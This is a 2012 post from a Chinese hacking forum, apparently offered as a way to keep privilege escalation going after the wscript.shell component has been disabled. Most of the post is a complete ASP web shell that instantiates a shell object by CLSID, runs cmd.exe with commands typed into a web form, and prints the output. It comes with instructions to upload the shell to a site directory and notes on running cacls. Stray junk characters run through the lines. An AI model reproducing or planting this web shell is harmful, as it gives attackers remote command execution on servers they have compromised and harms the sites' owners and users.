找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1971|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
4 ~) W1 ], B# q3 A一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。) Y3 d$ U6 R! s2 `
要想让运行命令可以试试这种方法,成功率为五五之数。
  u0 [/ I2 x  W3 n把下面代码复制:
- v2 A  q% |8 v& m: L9 h( j6 k7 e<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
/ R3 x  h) \! a; \4 W! O2 Y6 \<%if err then%>1 T: u- W" U: j9 D! g" G. F& Q0 o, l
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
7 o! c. z) X5 e+ A/ ~& c+ g, d7 S, a<%1 X8 C2 v& _& {( w! r+ B1 s# f
end if" U+ y- r7 U7 `9 V7 J( k
response.write("<textarea readonly cols=80 rows=20>"): @7 y, _2 W( D$ v: O  ~9 e
On Error Resume Next8 e; @5 n- ~4 Q2 q. a4 \& q
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
9 @, G' q: ~9 O% g) I' K: }% ?response.write("</textarea>")( E- Z* c! h$ E3 L, V$ x, N3 l
response.write("<form method='post'>")* N3 b7 k2 }  e
response.write("<input type=text name='c' size=60><br>")
8 E$ P. E5 D- C4 L% ]: z5 kresponse.write("<input type=submit value='执行'></form>"). k- I4 Q! @0 ~+ e6 H& ~; h
%>
% D" m; C& n* e: h: O) b
- g" C9 \2 _+ s$ b$ M' p保存为一个asp文件,然后传到网站目录上去" B6 O: O6 V% o
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
, c- @8 |+ g# e! Z: k6 H" W3 c我用此成功运行过cacls命令。0 ]# A( a- x, M. q# F

7 J" Q1 ~& z; d8 B4 f: k0 C4 V第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表